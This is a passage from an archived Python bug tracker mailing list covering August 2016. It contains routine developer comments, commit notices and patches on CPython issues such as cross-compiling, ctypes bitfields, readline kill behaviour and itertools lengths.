Barry. ---------- Added file: http://bugs.python.org/file43997/issue25571-4.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 19:06:44 2016 From: report at bugs.python.org (Martin Panter) Date: Wed, 03 Aug 2016 23:06:44 +0000 Subject: [issue5404] Cross-compiling Python In-Reply-To: <1235984629.04.0.168155698084.issue5404@psf.upfronthosting.co.za> Message-ID: <1470265604.3.0.90645253371.issue5404@psf.upfronthosting.co.za> Martin Panter added the comment: Wilcox: 3.4 is in security maintainence mode. I suggest using 3.5, or look at backporting revision d00837de03d7 (Issue 26884), which I presume fixes this. ---------- nosy: +martin.panter _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 20:00:34 2016 From: report at bugs.python.org (Emanuel Barry) Date: Thu, 04 Aug 2016 00:00:34 +0000 Subject: [issue25571] Improve the lltrace feature with the Py_Debug mode In-Reply-To: <1446844426.01.0.118649403374.issue25571@psf.upfronthosting.co.za> Message-ID: <1470268834.14.0.867089087514.issue25571@psf.upfronthosting.co.za> Emanuel Barry added the comment: Maybe someone who knows this feature better can weigh in, but otherwise LGTM. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 20:30:54 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 04 Aug 2016 00:30:54 +0000 Subject: [issue27674] Quote mark breaks cookie processing In-Reply-To: <1470226948.72.0.0645301470223.issue27674@psf.upfronthosting.co.za> Message-ID: <1470270654.47.0.640120022169.issue27674@psf.upfronthosting.co.za> Martin Panter added the comment: If you want to silently skip over invalid cookies by looking for a semicolon, see Issue 25228. For that, I think we need someone to add some more tests and confirm it doesn?t open a security hole. Also maybe see Issue 22983 and Issue 17340. ---------- nosy: +martin.panter _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 21:56:08 2016 From: report at bugs.python.org (Roundup Robot) Date: Thu, 04 Aug 2016 01:56:08 +0000 Subject: [issue24278] Docs on Parsing arguments should say something about mem mgmt for formatters returning C strings In-Reply-To: <1432481258.46.0.49462668629.issue24278@psf.upfronthosting.co.za> Message-ID: <20160804015604.130636.90642.76BC6F85@psf.io> Roundup Robot added the comment: New changeset ad7da726bea6 by Martin Panter in branch '3.5': Issue #24278: Explain how argument parsing output buffers are managed https://hg.python.org/cpython/rev/ad7da726bea6 New changeset 49c318c6294e by Martin Panter in branch 'default': Issue #24278: Merge argument parsing docs from 3.5 https://hg.python.org/cpython/rev/49c318c6294e ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 21:56:08 2016 From: report at bugs.python.org (Roundup Robot) Date: Thu, 04 Aug 2016 01:56:08 +0000 Subject: [issue27641] Do not build Programs/_freeze_importlib when cross-compiling In-Reply-To: <1469703884.83.0.465404999691.issue27641@psf.upfronthosting.co.za> Message-ID: <20160804015604.130636.25953.A4E359BF@psf.io> Roundup Robot added the comment: New changeset bc677cb34889 by Martin Panter in branch '3.5': Issue #27641: Comment out regeneration rules when cross compiling https://hg.python.org/cpython/rev/bc677cb34889 New changeset fc034d3607a8 by Martin Panter in branch 'default': Issue #27641: Merge cross-compiling improvement from 3.5 https://hg.python.org/cpython/rev/fc034d3607a8 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 22:10:02 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 04 Aug 2016 02:10:02 +0000 Subject: [issue27621] Finish IDLE Query dialog appearance and behavior. In-Reply-To: <1469512966.74.0.594331033204.issue27621@psf.upfronthosting.co.za> Message-ID: <1470276602.95.0.792328498052.issue27621@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I changed showerror from widget to query function, added a second error label to Help Source, adjusted validation functions, and rewrote tests. I also made keypad enter work on all systems (it already works in Search and I use it often). I want to look at spacing in a separate pass. ---------- Added file: http://bugs.python.org/file43998/query2.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 22:14:24 2016 From: report at bugs.python.org (Lisa Roach) Date: Thu, 04 Aug 2016 02:14:24 +0000 Subject: [issue27566] Tools/freeze/winmakemakefile.py clean target should use 'del' instead of 'rm' In-Reply-To: <1468871439.96.0.540268707664.issue27566@psf.upfronthosting.co.za> Message-ID: <1470276864.77.0.178687522256.issue27566@psf.upfronthosting.co.za> Lisa Roach added the comment: I think this patch makes the proper fix, changed the lines: print("\t-rm -f *.obj") print("\t-rm -f $(target).exe") to print("\t-del /f *.obj") print("\t-del /f $(target).exe") ---------- keywords: +patch nosy: +lisroach Added file: http://bugs.python.org/file43999/rm_to_del.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 22:49:44 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 04 Aug 2016 02:49:44 +0000 Subject: [issue27614] Race in test_docxmlrpc.py In-Reply-To: <1469459139.76.0.959920407285.issue27614@psf.upfronthosting.co.za> Message-ID: <1470278984.55.0.10235141148.issue27614@psf.upfronthosting.co.za> Martin Panter added the comment: Here is a patch with my idea of how it should work ---------- keywords: +patch Added file: http://bugs.python.org/file44000/setup-before-thread.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 22:53:17 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 04 Aug 2016 02:53:17 +0000 Subject: [issue24278] Docs on Parsing arguments should say something about mem mgmt for formatters returning C strings In-Reply-To: <1432481258.46.0.49462668629.issue24278@psf.upfronthosting.co.za> Message-ID: <1470279197.04.0.91520936514.issue24278@psf.upfronthosting.co.za> Changes by Martin Panter : ---------- resolution: -> fixed stage: commit review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 22:55:03 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 04 Aug 2016 02:55:03 +0000 Subject: [issue24082] Obsolete note in argument parsing (c-api/arg.rst) In-Reply-To: <1430403570.61.0.800757161817.issue24082@psf.upfronthosting.co.za> Message-ID: <1470279303.2.0.198533081711.issue24082@psf.upfronthosting.co.za> Martin Panter added the comment: I committed my patch for Issue 24278 (revision ad7da726bea6), so this notice is now removed ---------- nosy: +martin.panter resolution: -> fixed stage: patch review -> resolved status: open -> closed superseder: -> Docs on Parsing arguments should say something about mem mgmt for formatters returning C strings _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 23:03:46 2016 From: report at bugs.python.org (Roundup Robot) Date: Thu, 04 Aug 2016 03:03:46 +0000 Subject: [issue27641] Do not build Programs/_freeze_importlib when cross-compiling In-Reply-To: <1469703884.83.0.465404999691.issue27641@psf.upfronthosting.co.za> Message-ID: <20160804030343.72034.22301.E2B4722F@psf.io> Roundup Robot added the comment: New changeset e3757f3e1848 by Martin Panter in branch '2.7': Issue #27641: Comment out regeneration rules when cross compiling https://hg.python.org/cpython/rev/e3757f3e1848 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 23:03:46 2016 From: report at bugs.python.org (Roundup Robot) Date: Thu, 04 Aug 2016 03:03:46 +0000 Subject: [issue17599] mingw: detect REPARSE_DATA_BUFFER In-Reply-To: <1364759977.57.0.233975454494.issue17599@psf.upfronthosting.co.za> Message-ID: <20160804030343.72034.97778.F75507A1@psf.io> Roundup Robot added the comment: New changeset e4ddfa61199c by Martin Panter in branch 'default': Issue #17599: Use unique _Py_REPARSE_DATA_BUFFER etc names to avoid conflict https://hg.python.org/cpython/rev/e4ddfa61199c ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 23:16:06 2016 From: report at bugs.python.org (Martin Vahi) Date: Thu, 04 Aug 2016 03:16:06 +0000 Subject: [issue20930] Debian 7.3: This platform's pyconfig.h needs to define PY_FORMAT_LONG_LONG In-Reply-To: <1394847910.61.0.831200672097.issue20930@psf.upfronthosting.co.za> Message-ID: <1470280566.13.0.952973815037.issue20930@psf.upfronthosting.co.za> Martin Vahi added the comment: If a stable version fails to build within a modern environment that has everything installed, then according to my understanding THERE IS A BUG That is to say, the current resolution, "not a bug", does not match with my understanding of this world. The whole console output is at the attached file, but here's an excerpt: ----citation---start--- s2 at linux-0fiz:~/m_local/bin_p/Python/kompil/Python-3.5.2$ time nice -n20 ./configure --prefix=/home/ts2/m_local/bin_p/Python/v_3_5_2 --with-address-sanitizer --with-valgrind --disable-ipv6 configure: loading site script /usr/share/site/x86_64-unknown-linux-gnu checking build system type... x86_64-unknown-linux-gnu checking host system type... x86_64-unknown-linux-gnu checking for --enable-universalsdk... no checking for --with-universal-archs... no checking MACHDEP... linux checking for --without-gcc... no checking for --with-icc... no checking for gcc... clang checking whether the C compiler works... yes ... blablabla ... real 0m32.365s user 0m11.880s sys 0m12.194s ts2 at linux-0fiz:~/m_local/bin_p/Python/kompil/Python-3.5.2$ time nice -n20 make clang -pthread -c -fsanitize=address -fno-omit-frame-pointer -Wno-unused-result -Wsign-compare -Wunreachable-code -DDYNAMIC_ANNOTATIONS_ENABLED=1 -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -mtune=native -ftree-vectorize -mtune=native -ftree-vectorize -Werror=declaration-after-statement -I. -IInclude -I./Include -DPy_BUILD_CORE -o Programs/python.o ./Programs/python.c In file included from ./Programs/python.c:3: In file included from Include/Python.h:50: Include/pyport.h:261:13: error: "This platform's pyconfig.h needs to define PY_FORMAT_LONG_LONG" # error "This platform's pyconfig.h needs to define PY_FORMAT_LONG_LONG" ^ 1 error generated. Makefile:773: recipe for target 'Programs/python.o' failed make: *** [Programs/python.o] Error 1 real 0m0.170s user 0m0.083s sys 0m0.022s ts2 at linux-0fiz:~/m_local/bin_p/Python/kompil/Python-3.5.2$ uname -a Linux linux-0fiz 3.16.7-35-desktop #1 SMP PREEMPT Sun Feb 7 17:32:21 UTC 2016 (832c776) x86_64 x86_64 x86_64 GNU/Linux ts2 at linux-0fiz:~/m_local/bin_p/Python/kompil/Python-3.5.2$ date Thu Aug 4 06:03:19 EEST 2016 ts2 at linux-0fiz:~/m_local/bin_p/Python/kompil/Python-3.5.2$ ----citation---end--- ---------- nosy: +Martin Vahi Added file: http://bugs.python.org/file44001/2016_08_04_Python_3_5_2_stable_fails_to_build_on_64bit_openSUSE_Linux.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 23:16:22 2016 From: report at bugs.python.org (Xiang Zhang) Date: Thu, 04 Aug 2016 03:16:22 +0000 Subject: [issue27662] Check against PY_SSIZE_T_MAX instead of PY_SIZE_MAX in List_New In-Reply-To: <1470037390.18.0.139195089898.issue27662@psf.upfronthosting.co.za> Message-ID: <1470280582.81.0.31789095829.issue27662@psf.upfronthosting.co.za> Changes by Xiang Zhang : Removed file: http://bugs.python.org/file43970/List_New_Calloc.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 23:17:07 2016 From: report at bugs.python.org (Xiang Zhang) Date: Thu, 04 Aug 2016 03:17:07 +0000 Subject: [issue27662] Check against PY_SSIZE_T_MAX instead of PY_SIZE_MAX in List_New In-Reply-To: <1470037390.18.0.139195089898.issue27662@psf.upfronthosting.co.za> Message-ID: <1470280627.2.0.0151254837121.issue27662@psf.upfronthosting.co.za> Xiang Zhang added the comment: Add another PY_SIZE_MAX replacement I suggest in listobject.c. ---------- Added file: http://bugs.python.org/file44002/List_New_Calloc.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 23:21:11 2016 From: report at bugs.python.org (Martin Vahi) Date: Thu, 04 Aug 2016 03:21:11 +0000 Subject: [issue27677] Reopening issue 20930 Message-ID: <1470280871.61.0.758792707799.issue27677@psf.upfronthosting.co.za> New submission from Martin Vahi: I could not figure out, how to reopen the original issue. The details reside at https://bugs.python.org/issue20930 Thank You. ---------- components: Build messages: 271945 nosy: Martin Vahi priority: normal severity: normal status: open title: Reopening issue 20930 type: compile error versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 3 23:58:22 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 04 Aug 2016 03:58:22 +0000 Subject: [issue27614] Race in test_docxmlrpc.py In-Reply-To: <1469459139.76.0.959920407285.issue27614@psf.upfronthosting.co.za> Message-ID: <1470283102.46.0.6496353085.issue27614@psf.upfronthosting.co.za> Martin Panter added the comment: It seems the test infrastructure likes all references to thread objects to be deleted, even if they are no longer running. ---------- Added file: http://bugs.python.org/file44003/setup-before-thread.v2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 00:12:12 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 04 Aug 2016 04:12:12 +0000 Subject: [issue27641] Do not build Programs/_freeze_importlib when cross-compiling In-Reply-To: <1469703884.83.0.465404999691.issue27641@psf.upfronthosting.co.za> Message-ID: <1470283932.05.0.0652542180725.issue27641@psf.upfronthosting.co.za> Martin Panter added the comment: _freeze_import is only in Python 3, but I backported my final change because it is more general and also affects pgen. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 00:15:55 2016 From: report at bugs.python.org (Zachary Ware) Date: Thu, 04 Aug 2016 04:15:55 +0000 Subject: [issue11620] winsound.PlaySound() with SND_MEMORY should accept bytes instead of strings In-Reply-To: <1300667681.04.0.269037633009.issue11620@psf.upfronthosting.co.za> Message-ID: <1470284155.35.0.736883713671.issue11620@psf.upfronthosting.co.za> Zachary Ware added the comment: Irmen, you're probably correct that this was overlooked at the time of 3.0. The patch is well out of date as well, winsound was Clinicized around the 3.4 timeframe. ---------- assignee: brian.curtin -> keywords: -needs review nosy: +paul.moore, steve.dower, tim.golden, zach.ware stage: patch review -> needs patch versions: +Python 3.6 -Python 3.3, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 00:28:26 2016 From: report at bugs.python.org (Zachary Ware) Date: Thu, 04 Aug 2016 04:28:26 +0000 Subject: [issue25387] sound_msgbeep doesn't check the return value of MessageBeep In-Reply-To: <1444696251.21.0.518539201505.issue25387@psf.upfronthosting.co.za> Message-ID: <1470284906.44.0.852408563919.issue25387@psf.upfronthosting.co.za> Zachary Ware added the comment: Though the source link is incredibly out of date (we've been on hg.python.org for about 5 years now, and are soon to move to Github), this is a current issue. The suggested 'example "fix"' is not applicable, though; in that case, MessageBeep is just used in preference to Beep, and falls back to Beep if MessageBeep fails. ---------- stage: -> needs patch versions: +Python 2.7, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 01:02:56 2016 From: report at bugs.python.org (Roundup Robot) Date: Thu, 04 Aug 2016 05:02:56 +0000 Subject: [issue27670] Use https instead of http in the PYTHON_VERSION constant In-Reply-To: <1470181232.89.0.0745542408499.issue27670@psf.upfronthosting.co.za> Message-ID: <20160804050253.80096.51890.858FFAAB@psf.io> Roundup Robot added the comment: New changeset e9f6af33cf79 by Benjamin Peterson in branch '3.5': https link to the bug tracker (closes #27670) https://hg.python.org/cpython/rev/e9f6af33cf79 New changeset 930450f4ea5f by Benjamin Peterson in branch '2.7': https link to the bug tracker (closes #27670) https://hg.python.org/cpython/rev/930450f4ea5f New changeset b04560c3ce69 by Benjamin Peterson in branch 'default': merge 3.5 (#27670) https://hg.python.org/cpython/rev/b04560c3ce69 ---------- nosy: +python-dev resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 02:35:55 2016 From: report at bugs.python.org (SilentGhost) Date: Thu, 04 Aug 2016 06:35:55 +0000 Subject: [issue27677] Reopening issue 20930 In-Reply-To: <1470280871.61.0.758792707799.issue27677@psf.upfronthosting.co.za> Message-ID: <1470292555.05.0.73125738338.issue27677@psf.upfronthosting.co.za> SilentGhost added the comment: You should be able to request re-opening in your message in that issue, no need to open a new issue for that. ---------- nosy: +SilentGhost resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 02:39:35 2016 From: report at bugs.python.org (SilentGhost) Date: Thu, 04 Aug 2016 06:39:35 +0000 Subject: [issue27566] Tools/freeze/winmakemakefile.py clean target should use 'del' instead of 'rm' In-Reply-To: <1468871439.96.0.540268707664.issue27566@psf.upfronthosting.co.za> Message-ID: <1470292775.2.0.888387938876.issue27566@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 03:25:07 2016 From: report at bugs.python.org (Claudiu Saftoiu) Date: Thu, 04 Aug 2016 07:25:07 +0000 Subject: [issue27678] itertools.permutations/.combinations should have len Message-ID: <1470295507.75.0.86244083352.issue27678@psf.upfronthosting.co.za> New submission from Claudiu Saftoiu: Right now, itertools.permutations and itertools.combinations and itertools.product objects don't have a `len`. >>> len(itertools.combinations(range(10), 5)) Traceback (most recent call last): File "", line 1, in TypeError: object of type 'itertools.combinations' has no len() I propose that a `len` be added to them, which computes (& caches) & returns the length. If the underlying iterator doesn't have a length, then they can raise a TypeError as they do now. ---------- messages: 271952 nosy: Claudiu Saftoiu priority: normal severity: normal status: open title: itertools.permutations/.combinations should have len type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 03:39:34 2016 From: report at bugs.python.org (Xiang Zhang) Date: Thu, 04 Aug 2016 07:39:34 +0000 Subject: [issue27678] itertools.permutations/.combinations should have len In-Reply-To: <1470295507.75.0.86244083352.issue27678@psf.upfronthosting.co.za> Message-ID: <1470296374.31.0.641235454195.issue27678@psf.upfronthosting.co.za> Xiang Zhang added the comment: You have to exhausts the iterator to get the actual length. Some iterators have __length_hint__ but it's not required to give the truth. ---------- nosy: +xiang.zhang _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 03:41:46 2016 From: report at bugs.python.org (Xiang Zhang) Date: Thu, 04 Aug 2016 07:41:46 +0000 Subject: [issue27678] itertools.permutations/.combinations should have len In-Reply-To: <1470295507.75.0.86244083352.issue27678@psf.upfronthosting.co.za> Message-ID: <1470296506.21.0.27659742557.issue27678@psf.upfronthosting.co.za> Changes by Xiang Zhang : ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 03:54:58 2016 From: report at bugs.python.org (Claudiu Saftoiu) Date: Thu, 04 Aug 2016 07:54:58 +0000 Subject: [issue27678] itertools.permutations/.combinations should have len In-Reply-To: <1470295507.75.0.86244083352.issue27678@psf.upfronthosting.co.za> Message-ID: <1470297298.72.0.0111007948787.issue27678@psf.upfronthosting.co.za> Claudiu Saftoiu added the comment: Ahh, I see. In that case, if the object passed-in has a length, use that. If not, then raise TypeError. e.g. proposed behavior: >>> len(itertool.combinations(range(10), 2)) 45 >>> len(itertool.combinations(iter(range(10)), 2)) ... TypeError: itertools.combinations underlying object has no len() ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 04:22:43 2016 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Thu, 04 Aug 2016 08:22:43 +0000 Subject: [issue27678] itertools.permutations/.combinations should have len In-Reply-To: <1470295507.75.0.86244083352.issue27678@psf.upfronthosting.co.za> Message-ID: <1470298963.99.0.106483180889.issue27678@psf.upfronthosting.co.za> St?phane Wirtel added the comment: __length_hint__ returns an estimated length for the object. As you said, if the object passed-in has a length, we could use it. If not, then raise TypeError. But we will have two different behaviors in function of the parameter. ---------- nosy: +matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 04:32:36 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 04 Aug 2016 08:32:36 +0000 Subject: [issue27679] set_bitfields() unused in _ctypes_test Message-ID: <1470299556.34.0.285781931231.issue27679@psf.upfronthosting.co.za> New submission from Martin Panter: Modules/_ctypes/_ctypes_test.c defines a structure called BITS and exports two C functions set_bitfields() and unpack_bitfields() that operate on it. However only unpack_bitfields() seems to have been used, in Lib/ctypes/test/test_bitfields.py. Either there is scope for enhancing the tests, or maybe there is no point and the function can be removed. ---------- components: Extension Modules, Tests, ctypes messages: 271956 nosy: martin.panter priority: normal severity: normal status: open title: set_bitfields() unused in _ctypes_test versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 04:33:14 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 04 Aug 2016 08:33:14 +0000 Subject: [issue17599] mingw: detect REPARSE_DATA_BUFFER In-Reply-To: <1364759977.57.0.233975454494.issue17599@psf.upfronthosting.co.za> Message-ID: <1470299594.64.0.718689868321.issue17599@psf.upfronthosting.co.za> Martin Panter added the comment: Thanks for your feedback. I add a reference to km\ntifs.h in the comment. The buildbots seem generally happy with the change. (One timed out in the tests, but that seems to be an existing intermittent problem.) ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 04:51:15 2016 From: report at bugs.python.org (Steve Holden) Date: Thu, 04 Aug 2016 08:51:15 +0000 Subject: [issue27680] Reduce Github pull request rate Message-ID: <1470300675.44.0.889172442592.issue27680@psf.upfronthosting.co.za> New submission from Steve Holden: I have seen a relatively large number of pull requests via the Github mirror repository, because would-be contributors presumably just look on Github and, having found Python there, assume this is the place for contributions. The standard README file gives no clue that the Github repository should not be used as the basis for contributory pull requests, and neither should it. Fortunately Github will display a README.md file in preference to REAMDE when one is found. This patch adds a message, highly visible to Github users, that they are in the wrong place. For an indication of how the Github page will then look, visit https://github.com/holdenweb/python/tree/README where the patch is already installed. ---------- assignee: docs at python components: Documentation files: README.patch keywords: needs review, patch messages: 271958 nosy: docs at python, holdenweb priority: normal severity: normal stage: patch review status: open title: Reduce Github pull request rate type: enhancement Added file: http://bugs.python.org/file44004/README.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 04:56:16 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 04 Aug 2016 08:56:16 +0000 Subject: [issue27614] Race in test_docxmlrpc.py In-Reply-To: <1469459139.76.0.959920407285.issue27614@psf.upfronthosting.co.za> Message-ID: <1470300976.01.0.459657073788.issue27614@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I have a doubt. Added a question on Rietveld. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 04:58:04 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 04 Aug 2016 08:58:04 +0000 Subject: [issue27643] test_ctypes fails on AIX with xlc In-Reply-To: <1469718089.88.0.404760174195.issue27643@psf.upfronthosting.co.za> Message-ID: <1470301084.91.0.959214688936.issue27643@psf.upfronthosting.co.za> Martin Panter added the comment: Okay, so to be clear, I am assuming XLC supports all of the following fields, and uses unsigned bit fields by default: struct UNSIGNED_BITS { unsigned int AU: 1; int A: 1; /* Equivalent to unsigned int */ signed int AS: 1; unsigned short MU: 1; short M: 1; /* Equivalent to unsigned short; triggers warning */ }; and that it cannot compile the following: struct SIGNED_BITS { signed short MS: 1; /* Not supported */ }; Attached is what I think a patch to resolve this would look like. However it needs a line in Modules/_ctypes/_ctypes_test.c completed to detect the compiler: #ifndef /* Something to identify XLC */ Can you figure out a way to test for XLC (but not GCC, which the AIX buildbot uses), and then try my patch out? Hopefully you see no more compiler warnings, test_ints() should now pass, and test_shorts() should be skipped. ---------- keywords: +patch Added file: http://bugs.python.org/file44005/disable-signed-short.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 05:27:07 2016 From: report at bugs.python.org (Steve Holden) Date: Thu, 04 Aug 2016 09:27:07 +0000 Subject: [issue27680] Reduce Github pull request rate In-Reply-To: <1470300675.44.0.889172442592.issue27680@psf.upfronthosting.co.za> Message-ID: <1470302827.53.0.351182813702.issue27680@psf.upfronthosting.co.za> Steve Holden added the comment: Hmm, not sure I quite understand how to interact with this tracker. So here's an updated patch that I thought I had already submitted ... ---------- Added file: http://bugs.python.org/file44006/README2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 05:33:34 2016 From: report at bugs.python.org (sss) Date: Thu, 04 Aug 2016 09:33:34 +0000 Subject: [issue27585] asyncio.Lock deadlock after cancellation In-Reply-To: <1469120801.4.0.62510822161.issue27585@psf.upfronthosting.co.za> Message-ID: <1470303214.26.0.53608999731.issue27585@psf.upfronthosting.co.za> sss added the comment: Yes, await asyncio.sleep(0) does fix it, but it would be weird if I'm supposed to put those all over my code. I made a new reproducer now that uses 2 threads in case it's not allowed to take the same lock twice from the same thread. ---------- Added file: http://bugs.python.org/file44007/lock2.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 05:40:50 2016 From: report at bugs.python.org (Sven R. Kunze) Date: Thu, 04 Aug 2016 09:40:50 +0000 Subject: [issue27598] Add SizedIterable to collections.abc and typing In-Reply-To: <1469288809.56.0.543825422436.issue27598@psf.upfronthosting.co.za> Message-ID: <1470303650.11.0.155542030991.issue27598@psf.upfronthosting.co.za> Sven R. Kunze added the comment: I am way too late to the discussion but I also support the term "collections". I think it also helps developers coming from a C# background: https://msdn.microsoft.com/library/92t2ye13(v=vs.110).aspx ---------- nosy: +srkunze _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 05:44:58 2016 From: report at bugs.python.org (Quentin Santos) Date: Thu, 04 Aug 2016 09:44:58 +0000 Subject: [issue27681] readline: consecutive rl_kill_word do not append Message-ID: <1470303898.75.0.124841684362.issue27681@psf.upfronthosting.co.za> New submission from Quentin Santos: In readline, "kill" basically means "cut" and "yank", "paste. When killing twice in a row, it tries to group the kills. This can be shown to work with rl_unix_word_rubout; with the default emacs keymap, type: >>> hello world Then hit ^W (Control+W, rl_unix_word_rubout) twice, then ^Y (Control+Y, rl_yank). You should get back the two words. Now, using rl_backward_kill_word (Meta ^H), twice, yanking only puts back the last killed word (here, "hello "). With rl_kill_word (^A for start of line, then ^D), twice, yanking also puts back only the last killed word (here, " world"). The expected behavior is to get back both words (there, "hello world"). The behavior appears in both CPython's REPL (2.7 and 3.5 at least) and in the readline module. Other programs (bash, pypy, irb) that use readline show the expected behavior, as well as zsh (with its own implementation of readline). Granted, I can not really imagine and issue with a lowest priority. ---------- components: IO, Library (Lib) messages: 271964 nosy: qsantos priority: normal severity: normal status: open title: readline: consecutive rl_kill_word do not append versions: Python 2.7, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 05:47:19 2016 From: report at bugs.python.org (Berker Peksag) Date: Thu, 04 Aug 2016 09:47:19 +0000 Subject: [issue27680] Reduce Github pull request rate In-Reply-To: <1470300675.44.0.889172442592.issue27680@psf.upfronthosting.co.za> Message-ID: <1470304039.62.0.415103457787.issue27680@psf.upfronthosting.co.za> Berker Peksag added the comment: I find pull requests templates more useful: https://github.com/blog/2111-issue-and-pull-request-templates and we already have a template to warn users: https://github.com/python/cpython/blob/master/.github/PULL_REQUEST_TEMPLATE.md ---------- nosy: +berker.peksag _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 07:12:14 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 04 Aug 2016 11:12:14 +0000 Subject: [issue27681] readline: consecutive rl_kill_word do not append In-Reply-To: <1470303898.75.0.124841684362.issue27681@psf.upfronthosting.co.za> Message-ID: <1470309134.56.0.556854819428.issue27681@psf.upfronthosting.co.za> Martin Panter added the comment: GDB also seems affected. The significance of this is it makes me suspect a bug in Readline?s callback-based ?alternative interface?, as opposed to the simpler blocking interface. I know Python and GDB both use the callback API, and that Bash doesn?t. You might have more luck taking this directly to Gnu Readline: https://cnswww.cns.cwru.edu/php/chet/readline/rltop.html#Bugs ---------- nosy: +martin.panter resolution: -> third party _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 07:50:43 2016 From: report at bugs.python.org (Quentin Santos) Date: Thu, 04 Aug 2016 11:50:43 +0000 Subject: [issue27681] readline: consecutive rl_kill_word do not append In-Reply-To: <1470303898.75.0.124841684362.issue27681@psf.upfronthosting.co.za> Message-ID: <1470311443.96.0.363556089555.issue27681@psf.upfronthosting.co.za> Quentin Santos added the comment: I had not thought of checking gdb. Thanks for the information, I will look into that! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 07:57:36 2016 From: report at bugs.python.org (Steve Holden) Date: Thu, 04 Aug 2016 11:57:36 +0000 Subject: [issue27680] Reduce Github pull request rate In-Reply-To: <1470300675.44.0.889172442592.issue27680@psf.upfronthosting.co.za> Message-ID: <1470311856.77.0.882860420257.issue27680@psf.upfronthosting.co.za> Steve Holden added the comment: I don't seem to be able to activate the PR template, but if you are happy it works then I guess this would be a belt-and-braces change. If nobody merges it and it gets closed that's fine, but if it obviates just a few pull requests it will save both the core devs and the contributors some time. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 08:33:13 2016 From: report at bugs.python.org (Sushant) Date: Thu, 04 Aug 2016 12:33:13 +0000 Subject: [issue27682] Windows Error 10053, ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine Message-ID: <1470313993.65.0.630797703267.issue27682@psf.upfronthosting.co.za> New submission from Sushant: While saving, this error shows up and is whatever is saving gets saved twice- Traceback (most recent call last): File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handlers.py", line 138, in run self.finish_response() File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handlers.py", line 180, in finish_response self.write(data) File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handlers.py", 